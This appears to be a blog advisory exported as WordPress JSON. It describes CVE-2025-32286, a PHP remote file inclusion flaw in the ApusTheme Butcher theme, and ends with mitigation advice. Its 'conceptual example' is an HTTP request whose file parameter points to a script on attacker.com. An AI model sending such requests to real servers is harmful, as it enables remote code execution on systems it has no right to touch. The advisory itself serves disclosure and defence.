{"id":48256,"date":"2025-06-02T18:56:09","date_gmt":"2025-06-02T18:56:09","guid":{"rendered":""},"modified":"2025-08-07T11:57:04","modified_gmt":"2025-08-07T17:57:04","slug":"cve-2025-32286-critical-php-remote-file-inclusion-vulnerability-in-apustheme-butcher","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-32286-critical-php-remote-file-inclusion-vulnerability-in-apustheme-butcher\/","title":{"rendered":"<strong>CVE-2025-32286: Critical PHP Remote File Inclusion Vulnerability in ApusTheme Butcher<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the realm of cybersecurity, the discovery of new vulnerabilities plays a crucial role in the maintenance and fortification of systems. The recently unearthed CVE-2025-32286 is one such critical vulnerability. Specifically, it pertains to an Improper Control of Filename for Include\/Require Statement in PHP Program, more commonly referred to as a &#8216;<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46468-high-severity-php-local-file-inclusion-vulnerability-in-wpfable-fable-extra\/\"  data-wpil-monitor-id=\"54085\">PHP Remote File Inclusion&#8217; vulnerability<\/a>, found in ApusTheme Butcher. This vulnerability, if exploited, could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39495-high-critical-vulnerability-in-boldthemes-avantage-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"54192\">lead to potential system<\/a> compromise or data leakage, posing a significant threat to systems running versions of Butcher up to 2.40.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-32286<br \/>\nSeverity: High (8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48383-django-select2-vulnerability-risking-data-leakage-and-unauthorized-access\/\"  data-wpil-monitor-id=\"56201\">data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-844636625\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>ApusTheme Butcher | Up to 2.40<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of the improper control of a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32294-uncontrolled-filename-in-php-program-allows-local-file-inclusion\/\"  data-wpil-monitor-id=\"56200\">filename in an include\/require statement within a PHP program<\/a>. Essentially, it tricks the application into including a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31060-remote-file-inclusion-vulnerability-in-apustheme-capie\/\"  data-wpil-monitor-id=\"55857\">file from a remote<\/a> server. This file could contain malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-51360-remote-code-execution-vulnerability-in-hospital-management-system-in-php-v4-0\/\"  data-wpil-monitor-id=\"54341\">PHP code<\/a>, which would then be executed on the vulnerable server. This can lead to a full system compromise and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39350-unauthorized-access-vulnerability-in-rocket-apps-wproject\/\"  data-wpil-monitor-id=\"55650\">unauthorized access<\/a> to sensitive data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1796512146\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45997-exploiting-file-upload-vulnerability-in-web-based-pharmacy-product-management-system\/\"  data-wpil-monitor-id=\"64730\">vulnerability might be exploited<\/a>. This example demonstrates a malicious HTTP request that would trigger the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32925-critical-php-remote-file-inclusion-vulnerability-in-fantasticplugins-sumo-reward-points\/\"  data-wpil-monitor-id=\"55201\">remote file inclusion<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerable-server.com<\/code><\/pre>\n<p>In this example, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53964-critical-file-manipulation-vulnerability-in-goldendict\/\"  data-wpil-monitor-id=\"67130\">&#8220;file&#8221; parameter is manipulated<\/a> to point to a malicious script hosted on an attacker-controlled server. When the request is processed by the server, the malicious script is executed, leading to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32309-potential-system-compromise-due-to-remote-file-inclusion-in-php-program\/\"  data-wpil-monitor-id=\"56217\">potential system compromise<\/a>.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Given the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32292-severe-deserialization-of-untrusted-data-vulnerability-in-ancorathemes-jarvis-wordpress\/\"  data-wpil-monitor-id=\"54058\">severity of this vulnerability<\/a>, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49155-uncontrolled-search-path-vulnerability-in-trend-micro-apex-one-data-loss-prevention-module\/\"  data-wpil-monitor-id=\"64729\">prevent attempts to exploit this vulnerability<\/a>. These <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52890-critical-acl-bypass-vulnerability-in-incus-system-container-and-virtual-machine-manager\/\"  data-wpil-monitor-id=\"64728\">systems can be configured to block requests containing<\/a> suspicious parameters, thereby providing temporary mitigation until the patch is applied.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the realm of cybersecurity, the discovery of new vulnerabilities plays a crucial role in the maintenance and fortification of systems. The recently unearthed CVE-2025-32286 is one such critical vulnerability. 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